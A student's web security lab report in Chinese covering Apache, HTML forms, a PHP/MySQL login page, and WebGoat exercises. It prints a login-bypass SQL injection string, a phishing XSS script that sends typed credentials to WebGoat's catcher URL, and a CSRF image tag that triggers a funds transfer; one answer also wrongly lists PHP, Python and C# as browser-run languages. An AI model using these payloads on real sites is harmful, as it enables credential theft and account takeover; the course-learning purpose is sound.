Exp8 Web安全

1.实验内容

(1)Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2)Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4)Web后端:编写PHP网页,连接数据库,进行用户认证
(5)最简单的SQL注入,XSS攻击测试
(6)安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击。

2.实验过程

2.1Web前端HTML

2.1.1能正常安装、启停Apache。

  • 使用kali虚拟机开启apache

    service apache2 start

  • 查看apache是否开启成功

    service apache2 status

  • 验证apache

  • 停止apacheservice apache2 stop

  • 重新启动apacheservice apache2 restart

2.1.2理解HTML

HTML的全称为超文本标记语言,是一种标记语言。它包括一系列标签.通过这些标签可以将网络上的文档格式统一,使分散的Internet资源连接为一个逻辑整体。HTML文本是由HTML命令组成的描述性文本,HTML命令可以说明文字,图形、动画、声音、表格、链接等。

2.1.3理解表单

表单在网页中主要负责数据采集功能。一个表单有三个基本组成部分: 表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。 表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。 表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。

2.1.4理解GET与POST方法

GET 和 POST 均是 HTTP 的请求方法。
但两者有以下区别:

  • 参数传递方式

Get:通过Url传递参数,Url与参数之间用?隔开,多个参数之间用&隔开,也是表单的默认提交方式。
Post:所有操作对用户来说都是不可见的,相对于get方式更安全。

  • 传送数据量大小不同

Get传送的数据量较小,这主要是因为受URL长度限制。
Post传送的数据量较大,一般被默认为不受限制。

  • 信息缓存

Get提交的信息能被缓存,请求保留在浏览器历史记录中;Post提交的数据一般不能被缓存,请求不会保留在浏览器历史记录中。

  • 编码方式与乱码处理问题
    Get只能有一个种编码方式,转码的时候使用字符串转字节的方式。
    Post支持多种编码方式,转码直接使用setCharacterEconding()即可。
  • 传输信息方式
    Get具有缓存功能,一般用来直接获取数据,提高查询速度。 Post是发送数据到服务器作存储,适合于增删改操作。

2.1.5编写一个含有表单的HTML

  • 进入apache目录

    cd /var/www/html

  • 编写一个含有表单的html文件

    vi 20192421.html

  • 浏览器访问网址192.168.157.133/20192421.html

2.2 Web前端javascipt

2.2.1理解JavaScript的基本功能,理解DOM。

  • javascript
    JavaScript(简称“JS”) 是一种具有函数优先的轻量级,解释型或即时编译型的编程语言。虽然它是作为开发Web页面的脚本语言而出名,但是它也被用到了很多非浏览器环境中,JavaScript 基于原型编程、多范式的动态脚本语言,并且支持面向对象、命令式、声明式、函数式编程范式。
  • DOM
    文档对象模型(Document Object Model,简称DOM),是W3C组织推荐的处理可扩展置标语言的标准编程接口。它是一种与平台和语言无关的应用程序接口(API),它可以动态地访问程序和脚本,更新其内容、结构和www文档的风格(HTML和XML文档是通过说明部分定义的)。文档可以进一步被处理,处理的结果可以加入到当前的页面。DOM是一种基于树的API文档,它要求在处理过程中整个文档都表示在存储器中。另外一种简单的API是基于事件的SAX,它可以用于处理很大的XML文档,由于大,所以不适合全部放在存储器中处理。

2.2.2编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”

  • 重新编写加入javascript代码

  • 输入在浏览器访问file:///var/www/html/20192421login.html结果如下

  • 编写一段php代码20192421login.php

  • 输入在浏览器访问localhost/20192421login.html结果如下

2.3 Web后端(mySQL基础)

2.3.1安装启动mySQL

  • 输入 service mysql start 开启MySQL服务

  • 输入 mysql -u root -p使用root权限进入,默认的密码是password

  • show databases; 查看数据库基本信息

2.3.2 修改密码

  • 依次输入如下命令:

  • use mysql; 选择使用mysql这个数据库。

  • select user, password, host from user; 查看当前用户信息

  • update user set password=PASSWORD("新密码") where user='root';修改密码,发现无法修改

  • 输入set password for root@'localhost'= password('20192421');密码修改成功

  • 再次输入 select user, password, host from user; 查看当前用户信息,可以看到密码序列发生变化,密码修改成功

  • 输入flush privileges; 更新权限

  • quit 退出数据库,使用新的密码登录

2.3.3 建库,创建用户,建表

(1)建库,建表
  • 输入 mysql -u root -p用新密码登录

  • 使用create database zyh; 建立数据库

  • 使用 show databases; 查看存在的数据库

  • 使用 use zyh; 使用我们创建的数据库

  • create table 表名 (字段设定列表); 建立数据库表,并设置字段基本信息: create table login(username VARCHAR(16),password VARCHAR(16));

  • 使用show tables;查看表信息

(2)创建用户
  • 使用 insert into 表名 values('值1','值2','值3'...); 插入数据insert into login values('2421zyh@qq.com','zyh2421');

  • 使用 select * from 表名; 查询表中的数据 select * from login;

  • 在MySQL中增加新用户,使用grant select,insert,update,delete on 数据库.* to
    用户名@登录主机(可以是localhost,也可以是远程登录方式的IP) identified by
    "密码";指令,这句话的意思是:将对某数据库的所有表的select,insert,update,delete权限授予当前主机localhost登录的用户zengyuhan,192421是登录密码:grant select,insert,update,delete on zyh.* to zengyuhan@localhost identified by "192421";

  • 增加新用户后,exit退出,然后输入mysql -u zengyuhan -p,使用新的用户名和密码进行登录:

2.4web 后端

2.4.1 编写新php文件,连接数据库实验登录的身份验证

  • 编写2421login.php,结合之前编写的20192421login.html登录网页并连接数据库进行登录身份验证

  • 在浏览器输入localhost/20192421login.html访问自己的登录界面。

  • 若登录失败

2.5实现最简单的SQL注入,XSS攻击测试

  • 实现SQL注入,在用户名输入框输入' or 1=1#,密码任意输入,可登录成功:
    输入的用户名和我们的代码中select语句组合起来变成了 select * from user_log
    in where username='' or 1=1#' and password='' ,# 相当于注释符,会把后面的内容都注释掉,而 1=1是永真式,所以这个条件永远成立,所以不管密码是否输入正确,都能够成功登陆

  • 实现XSS攻击,在var/www/html文件夹下放一张图片
    用户名输入,密码输入' or 1 =1 #。点击登录后会显示


2.6安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击。

2.6.1安装Java

  • 在kali中建立相应的目录,将下载的jdk复制过去并解压

  • 输入 sudo vim /etc/profile ,在结尾配置环境变量

  • 通知系统java的位置

  • 设置默认jdk

  • 重新载入profile

  • 下载webgoat7.1安装包,输入命令 java -jar webgoat-container-7.0.1-war-exec
    .jar 安装并运行Webgoat

  • 打开浏览器在输入网址http://localhost:8080/WebGoat进入WebGoat的登录界面,按照提示输入用户名和密码(下列账号二选一登录即可,这里输入的都是guest)

2.6.2 SQL注入攻击

  • 选择左边菜单栏的 Injection Flaws→Numeric SQL

  • 右键单击页面选择Inspect(Q),对网页源代码进行修改,在选中的城市编号Value值中添加 or 1=1

  • go

2.6.3 XSS攻击

  • 在菜单栏中选择 Cross‐Site Scripting->Phishing with XSS

  • 将下面这段代码输入到 "Search:" 输入框中,点击 search

点击查看代码
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

  • 出现代码中所指定的绿、红、蓝三块,还出现了用户名和密码的输入框
  • 在登录框中输入用户名、密码,点击登录后,alert提示显示被窃取的用户名和密码

2.6.4 CSRF攻击

  • 在菜单栏中选择 Cross‐Site Scripting ->Cross Site Request Forgery (CSRF)

  • 在title中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=324&menu=900&transferFunds=5000" width="1" height="1" />

  • 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击 Submit 提交
    提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,从而达到CSRF攻击的目的

3.基础问题回答

  • 问题1:表单是什么?
  • 答案:HTML 中的表单(form)是一种交互性的区域,用于向 web 服务器发送数据并获取响应。一般情况下,表单主要用于收集用户输入的数据,用户可以在表单中输入文本、选择选项、上传文件等信息,当用户提交表单时,提交的数据会发送给 web 服务器进行处理。
  • 问题2:浏览器可以解析运行什么语言?
  • 答案:
  1. HTML:超文本标记语言,用于描述网页的结构和内容。
  2. CSS:层叠样式表,用于网页的样式和布局。
  3. JavaScript:常用的脚本语言,用于实现网页的交互和动态效果。
  4. PHP:常用的服务器端脚本语言,用于生成动态的网页内容。
  5. Python:一种通用的脚本语言,可以用于 Web 开发、数据分析等领域。
  6. Ruby:一种通用的脚本语言,被广泛用于 Web 开发和 Ruby on Rails 框架。
  7. Java:一种广泛应用的编程语言,可用于客户端和服务器端开发。
  8. C#:微软开发的语言,常用于 Windows 应用程序的开发。
  • 问题3:WebServer支持哪些动态语言?
  • 答案:
  1. PHP:PHP是一种服务器端脚本语言,被广泛用于Web开发,并且与Web服务器紧密结合,被支持得很好。
  2. Python:Python是一种通用的编程语言,被广泛应用于Web开发、数据科学、机器学习等领域,而且也有多种Web框架可以用于Web开发。
  3. Ruby:Ruby是一种通用的编程语言,它被广泛应用于Web开发和Ruby on Rails框架。
  4. Java:Java是一种广泛应用的编程语言,可以用于Web开发,尤其是它的服务器端技术Java Servlet和Java Server Pages(JSP)。
  5. Node.js:Node.js是一种基于事件驱动的JavaScript运行环境,可以用于开发高并发的Web应用程序。
  • 问题4:防范注入攻击的方法有哪些?
  • 答案:
  1. 输入验证:检查和限制用户输入的格式和内容,不允许非法字符或语句出现。
  2. 参数化查询:使用参数化的查询方式,将用户输入的数据作为参数传递到查询语句中,避免将用户输入直接拼接到查询语句中执行。
  3. 最小权限原则:在数据库、操作系统等平台上,限制应用程序运行时的权限,只授予必要的最小权限。
  4. 防火墙:使用防火墙来过滤和拦截有风险的网络流量,防止恶意请求和攻击。
  5. 安全编码:编写安全的代码,避免出现漏洞,可以使用一些静态代码分析工具和漏洞扫描工具来检测代码中潜在的安全漏洞。
  6. 日志监控:对系统进行日志监控和分析,及时发现异常操作或攻击行为,进行预警或及时修复。

4.学习感悟、思考等

本次实验是本门课的最后一次实验,涉及了较多内容,学习了web前端HTML、javascipt的编写,后端MySQL的使用与PHP网页的编写,以及SQL注入、XSS攻击、CSRF攻击测试的基本内容,虽然总体来说实验量有点大,但是熟悉了不少kali下的web安全实践操作。同时还熟悉了webgoat平台,这个平台也很好地锻炼了我在web安全实践上的能力,同时上手难度也不大,很好地引起了学习相关知识的兴趣。

参考资料

posted @ 2023-05-20 21:06  潜水的人2421  阅读(14)  评论(0编辑  收藏  举报
levels of contents